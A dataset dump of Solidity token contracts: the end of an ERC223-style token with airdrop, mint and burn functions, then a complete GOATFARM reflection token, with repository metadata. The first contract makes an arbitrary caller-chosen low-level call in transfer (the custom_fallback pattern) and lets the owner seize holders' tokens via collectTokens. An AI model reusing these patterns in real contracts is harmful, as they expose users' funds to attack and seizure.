&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[founder] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) founder.transfer(msg.value);
balanceOf[founder] = balanceOf[founder].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(founder, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 282,918 | 798 |
a048b7e55318409e02b8efb9efc7adb23be41d621821eb0f66958e80bdf20e10
| 27,127 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x8E2F88F83bC58faCed655F1318d8ceF0fEa36888/contract.sol
| 4,435 | 16,382 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GOATFARM is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10 * 10**3 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'GoatFarm';
string private _symbol = 'BAHH';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 249,123 | 799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.